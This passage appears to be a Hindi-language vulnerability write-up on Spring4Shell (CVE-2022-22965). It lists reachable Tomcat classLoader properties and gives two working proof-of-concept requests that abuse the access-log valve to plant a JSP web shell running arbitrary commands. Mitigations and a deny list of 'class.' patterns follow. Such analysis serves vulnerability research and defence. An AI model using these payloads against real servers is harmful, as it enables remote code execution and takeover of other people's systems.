    class.module.classLoader.resources.context.unpackWAR
    class.module.classLoader.resources.context.useHttpOnly
    class.module.classLoader.resources.context.useNaming
    class.module.classLoader.resources.context.useRelativeRedirects
    class.module.classLoader.resources.context.validateClientProvidedNewSessionId
    class.module.classLoader.resources.context.webappVersion
    class.module.classLoader.resources.context.workDir
    class.module.classLoader.resources.context.wrapperClass
    class.module.classLoader.resources.context.xmlBlockExternal
    class.module.classLoader.resources.context.xmlNamespaceAware
    class.module.classLoader.resources.context.xmlValidation
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.authenticator.alwaysUseSession
    class.module.classLoader.resources.context.authenticator.asyncSupported
    class.module.classLoader.resources.context.authenticator.cache
    class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
    class.module.classLoader.resources.context.authenticator.container
    class.module.classLoader.resources.context.authenticator.disableProxyCaching
    class.module.classLoader.resources.context.authenticator.domain
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.securePagesWithPragma
    class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
    class.module.classLoader.resources.context.authenticator.secureRandomClass
    class.module.classLoader.resources.context.authenticator.secureRandomProvider
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.scanAllDirectories
    class.module.classLoader.resources.context.jarScanner.scanAllFiles
    class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
    class.module.classLoader.resources.context.jarScanner.scanClassPath
    class.module.classLoader.resources.context.jarScanner.scanManifest
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.loader.context
    class.module.classLoader.resources.context.loader.delegate
    class.module.classLoader.resources.context.loader.domain
    class.module.classLoader.resources.context.loader.loaderClass
    class.module.classLoader.resources.context.loader.reloadable
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.loginConfig.authMethod
    class.module.classLoader.resources.context.loginConfig.errorPage
    class.module.classLoader.resources.context.loginConfig.loginPage
    class.module.classLoader.resources.context.loginConfig.realmName
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.manager.context
    class.module.classLoader.resources.context.manager.domain
    class.module.classLoader.resources.context.manager.duplicates
    class.module.classLoader.resources.context.manager.expiredSessions
    class.module.classLoader.resources.context.manager.maxActive
    class.module.classLoader.resources.context.manager.maxActiveSessions
    class.module.classLoader.resources.context.manager.pathname
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.processingTime
    class.module.classLoader.resources.context.manager.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.secureRandomClass
    class.module.classLoader.resources.context.manager.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
    class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
    class.module.classLoader.resources.context.manager.sessionCounter
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionMaxAliveTime
    class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
    class.module.classLoader.resources.context.namingContextListener.name
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.namingResources.container
    class.module.classLoader.resources.context.namingResources.domain
    class.module.classLoader.resources.context.namingResources.transaction
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parent.appBase
    class.module.classLoader.resources.context.parent.autoDeploy
    class.module.classLoader.resources.context.parent.backgroundProcessorDelay
    class.module.classLoader.resources.context.parent.cluster
    class.module.classLoader.resources.context.parent.configClass
    class.module.classLoader.resources.context.parent.contextClass
    class.module.classLoader.resources.context.parent.copyXML
    class.module.classLoader.resources.context.parent.createDirs
    class.module.classLoader.resources.context.parent.deployIgnore
    class.module.classLoader.resources.context.parent.deployOnStartup
    class.module.classLoader.resources.context.parent.deployXML
    class.module.classLoader.resources.context.parent.domain
    class.module.classLoader.resources.context.parent.errorReportValveClass
    class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
    class.module.classLoader.resources.context.parent.name
    class.module.classLoader.resources.context.parent.parent
    class.module.classLoader.resources.context.parent.parentClassLoader
    class.module.classLoader.resources.context.parent.realm
    class.module.classLoader.resources.context.parent.startChildren
    class.module.classLoader.resources.context.parent.startStopThreads
    class.module.classLoader.resources.context.parent.undeployOldVersions
    class.module.classLoader.resources.context.parent.unpackWARs
    class.module.classLoader.resources.context.parent.workDir
    class.module.classLoader.resources.context.parent.xmlBase
    class.module.classLoader.resources.context.pipeline.basic
    class.module.classLoader.resources.context.pipeline.container
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.realm.allRolesMode
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.container
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.domain
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.realmPath
    class.module.classLoader.resources.context.realm.stripRealmForGss
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.realm.validate
    class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.next.asyncSupported
    class.module.classLoader.resources.context.authenticator.next.container
    class.module.classLoader.resources.context.authenticator.next.domain
    class.module.classLoader.resources.context.authenticator.next.next
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
    class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
    class.module.classLoader.resources.context.manager.engine.cluster
    class.module.classLoader.resources.context.manager.engine.defaultHost
    class.module.classLoader.resources.context.manager.engine.domain
    class.module.classLoader.resources.context.manager.engine.jvmRoute
    class.module.classLoader.resources.context.manager.engine.name
    class.module.classLoader.resources.context.manager.engine.parent
    class.module.classLoader.resources.context.manager.engine.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.realm
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.startChildren
    class.module.classLoader.resources.context.manager.engine.startStopThreads
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.container
    class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.credentialHandler.algorithm
    class.module.classLoader.resources.context.realm.credentialHandler.encoding
    class.module.classLoader.resources.context.realm.credentialHandler.iterations
    class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.container
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.service.container
    class.module.classLoader.resources.context.manager.engine.service.domain
    class.module.classLoader.resources.context.manager.engine.service.name
    class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.basic.container
    class.module.classLoader.resources.context.parent.pipeline.basic.domain
    class.module.classLoader.resources.context.parent.pipeline.basic.next
    class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.buffered
    class.module.classLoader.resources.context.parent.pipeline.first.checkExists
    class.module.classLoader.resources.context.parent.pipeline.first.condition
    class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
    class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
    class.module.classLoader.resources.context.parent.pipeline.first.container
    class.module.classLoader.resources.context.parent.pipeline.first.directory
    class.module.classLoader.resources.context.parent.pipeline.first.domain
    class.module.classLoader.resources.context.parent.pipeline.first.enabled
    class.module.classLoader.resources.context.parent.pipeline.first.encoding
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    class.module.classLoader.resources.context.parent.pipeline.first.locale
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.pattern
    class.module.classLoader.resources.context.parent.pipeline.first.prefix
    class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
    class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.first.rotatable
    class.module.classLoader.resources.context.parent.pipeline.first.suffix
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.engine.service.server.address
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
    class.module.classLoader.resources.context.manager.engine.service.server.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.port
    class.module.classLoader.resources.context.manager.engine.service.server.shutdown
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.next.container
    class.module.classLoader.resources.context.parent.pipeline.first.next.domain
    class.module.classLoader.resources.context.parent.pipeline.first.next.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
    class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
    class.module.classLoader.resources.context.manager.engine.service.server.port
    

    इसमें class.module.classLoader.resources.context.parent.pipeline का उपयोग करके AccessLog के गुणों को सेट किया जा सकता है, फिर लॉग लिखने की कार्यक्षमता का उपयोग करके वेबशेल लिखा जा सकता है, POC निम्नलिखित है: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E

    root@kitploit:~
    ![](https://assets.kitploit.com/production/public/readmes/35879/57f0473b7120c6732e1260bef21f012b5d14fdd93634f1b75f6405e3545a2cfb.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/49ca7c4815e7b41d943ebbc658df2adae6c094cbc449461fbd6e1a3f12ec1a03.png)
    
    या हेडर का उपयोग करके पैटर्न के मान को प्रेषित करें:
    
    * tomcat एक्सेस लॉग पैटर्न: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
    GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
    Host: 127.0.0.1:9999
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
    

    class.module.classLoader.resources.context.configFile का उपयोग करके SSRF भी किया जा सकता है।

    अन्य उपयोगी गुणों के प्रभाव को देखने के लिए और अधिक जांच की आवश्यकता है।

    ध्यान देने वाली बात यह है कि उपरोक्त गुणों को संशोधित करने से सेवा पुनरारंभ हो सकती है, इसलिए यदि आप स्वयं परीक्षण कर रहे हैं तो कोई बात नहीं, लेकिन कृपया वास्तविक नेटवर्क वातावरण में सीधे इन poc का उपयोग न करें, जब तक कि आप पूरी तरह से नहीं जानते और परिणामों को वहन करने में सक्षम न हों!!

    भेद्यता सुधार और बचाव

    नए संस्करण में सुधार के दो मुख्य बिंदु हैं जो चर ओवरराइड को रोकते हैं:

    1. वैश्विक सेटिंग के माध्यम से विशिष्ट फ़ील्ड के लिए disallowFields बाइंडिंग WebDataBinder को अक्षम करना:```java @ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
    root@kitploit:~
    लेकिन ब्लैकलिस्ट के इस तरीके को बायपास किए जाने की संभावना है; अस्थायी रूप से ठीक है, लेकिन दीर्घकालिक समाधान नहीं है;
    
    2. CachedIntrospectionResults में, beaninfo प्राप्त करते समय एक जाँच जोड़ी गई है, जो केवल Class प्रकार के name चर की अनुमति देती है:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/dc44c04cdc51c71f135c2eab8b3d8e7b6101a60a44a1a7f39a6e71a39ac543a4.png)
    
    **अन्य शमन उपाय:**
    
    1. Tomcat के नए संस्करण में भी भेद्यता शमन किया गया है। शुरुआत में Tomcat 8.5.78 संस्करण का उपयोग करने पर यह प्रकट नहीं होता था। डिबगिंग के माध्यम से पता चला कि class.module.classLoader.resources का उपयोग करने पर Tomcat के इस संस्करण में प्राप्त resources खाली थे, जिससे इसका उपयोग नहीं किया जा सका। इसलिए Tomcat संस्करण को अपग्रेड करने से भी इस भेद्यता को कम किया जा सकता है;
    2. jdk9 से नीचे के संस्करण इस भेद्यता से प्रभावित नहीं हैं।
    
    टूल डाउनलोड करें